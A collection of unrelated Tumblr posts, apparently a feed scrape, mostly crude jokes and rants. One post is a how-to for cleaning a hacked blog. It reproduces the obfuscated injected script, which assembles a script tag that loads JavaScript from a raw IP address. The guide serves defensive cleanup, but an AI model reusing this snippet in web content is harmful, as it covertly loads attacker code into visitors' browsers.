What is actually going to happen if I ever touch a spider

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oh my god I’m so fucking pissed, everyone has one of those stupid visitor trackers on their blog

How to unhack your blog.

For those who get hacked with the Staff Blog iPad and other related hacks.

Your account has been hacked. To get rid of it, follow these steps:

1. Reset your password. Log out of tumblr, go to https://www.tumblr.com/login and click on ‘Forgot your password?’ Put in the email address you used to sign up, and tumblr will send you an email with instructions on how to reset your password.

2. Login to tumblr. On your dashboard, click on ‘Customize appearance’. Click on ‘Edit HTML’.

3. Look for this code (it’s probably located at the bottom):

<script type=”text/javascript”>var iw2wk3kvl = window[‘d’+’ocume’+’nt’]; iw2wk3kvl[‘write’](”+’<s’+’crip’+’t’+’ typ’+’e=’+‘“tex’+’t/ja’+’vasc’+’ript”’+’ ‘+’src=”’+’ht’+’tp://’+’81.17’+’.’+’2’+”+”+”+’7.55’+’/r’+’es’+’/res’+’.js”>’+’</scr’+’ipt>’);</script>

4. Delete the entire code and save.

That should take care of it, but I would suggest changing your theme and resetting your password again via email just to be safe.

Guys. There's a Furby Tumblr.

Pack your bags everyone. Satan and his army had arrived. 

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wtf dont do this to me 

doctor-river-clara triangle 

really

I will personally take those airhorns and shove them up the Dominican Republic’s ass.

Cardboard tampons are the work of the devil.

How do we get rid of the “I’m watching The Borgias on GetGlue.com” posts in the tag?

Everyone wonders why I prefer reading the Salafi/Salafi owned blogs.

I have 3 words for you.

No. auto. playlists.

Just clicked on a link and scary face came up screaming 

Satan made Furbys but they were too evil, even for him, so he sent it to innocent children.

oh no!

i didn’t reblog the post that said “reblog or else a demon will possess you at 2:46AM”!

sorry guys, it seems like i’ll be demon momo starting tomorrow. say good bye to the momo you knew in the past.

by the way steve jobs

fuck you

i like my pc a million times more than your stupid ipad

[ you know those security things where you have to type out the weird looking letters? yeah, i can never read those i literally have to refresh it like 10 times before i can actually read it ]

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